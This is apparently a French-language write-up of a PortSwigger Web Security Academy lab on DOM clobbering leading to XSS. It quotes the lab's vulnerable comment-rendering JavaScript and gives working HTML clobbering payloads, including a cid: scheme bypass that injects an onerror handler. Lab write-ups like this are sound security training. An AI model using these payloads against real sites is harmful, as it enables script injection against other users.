> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/dom/dom-clobbering-xss.md).

# XSS par DOM clobbering

Notes sur le XSS par DOM clobbering pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Exploiter le DOM clobbering pour permettre le XSS

Exploitez une vulnérabilité de DOM clobbering. La fonctionnalité de commentaires autorise un HTML « sûr ». L'objectif est d'injecter un fragment HTML qui écrase une variable DOM (clobbering) et d'enchaîner sur une exécution XSS (`alert()`).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6a784c8db7bdd30852b90b321fa695c2f2a43075%2F%7B3F519A83-B505-47E7-B40E-65B5329AB703%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La zone de commentaires accepte le HTML et certains éléments sont renvoyés (par ex., un `<h1>` interpréteur).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f4511b0a21a49951ec8c9cd3c62c233180457df7%2F%7BADDAA716-64A1-4DD6-AA85-861408CB4162%7D.png?alt=media" alt="" width="539"><figcaption></figcaption></figure>

* Le script côté client charge et affiche les commentaires récupérés en JSON. Il utilise `DOMPurify.sanitize()` pour nettoyer `auteur` et `corps` champs, mais d'autres manipulations du DOM restent vulnérables au clobbering.

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(data) {
        return data.replace(/[<>'"]/g, function(c){
            return '&#' + c.charCodeAt(0) + ';';
        })
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
            let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';

            let divImgContainer = document.createElement("div");
            divImgContainer.innerHTML = avatarImgHTML

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + DOMPurify.sanitize(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(divImgContainer);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = DOMPurify.sanitize(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Le code crée un `defaultAvatar` objet en lisant `window.defaultAvatar` s'il est présent ; `defaultAvatar` peut donc être écrasé via un élément DOM portant un `defaultAvatar` (identifiant de clobbering).
* Comme la `src` attribut du `<img>` est construit à partir de `defaultAvatar.avatar` lorsque `comment.avatar` est absent, il est possible de forcer un `defaultAvatar` contrôlé par l'attaquant afin d'influencer la valeur insérée.
* L'insertion est effectuée par `divImgContainer.innerHTML = avatarImgHTML`, ce qui déclenche l'interprétation de la chaîne HTML construite.

{% code overflow="wrap" %}

```javascript
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
```

{% endcode %}

Tentative de forcer `defaultAvatar` via une `<a id=defaultAvatar>` élément contenant un attribut susceptible de provoquer une erreur côté client (par ex. `onerror=alert(0)`).

```html
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="0&quot;onerror=alert(0)>//">
```

Ceci est encodé en URL par le système

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4f7b0ab505e27099f8f0d15431940ba3f47ae4b5%2F%7BEBF4A302-DD1B-4692-A7AB-74D08565C923%7D.png?alt=media" alt="" width="480"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d22d419e58ecfd01996589a4a6c02bfd36cf7cb%2F%7BA41A9006-852D-44C9-B580-9445618CA502%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Contournement testé à l'aide d'un `cid:` schéma afin que la valeur ne soit pas encodée :

```javascript
<a id=defaultAvatar>
<a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(0)>//">
```

ce dernier est interprété

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52e51c310f7db7c697cb2282f363bd7da58397a0%2F%7B2B4FCA7B-0FE9-4492-AFF0-C926D120517B%7D.png?alt=media" alt="" width="443"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-13291c7769079a9cdb0f95686b691e99d0f03e46%2F%7B36495909-F4B1-4BEA-992E-A5B8306C556F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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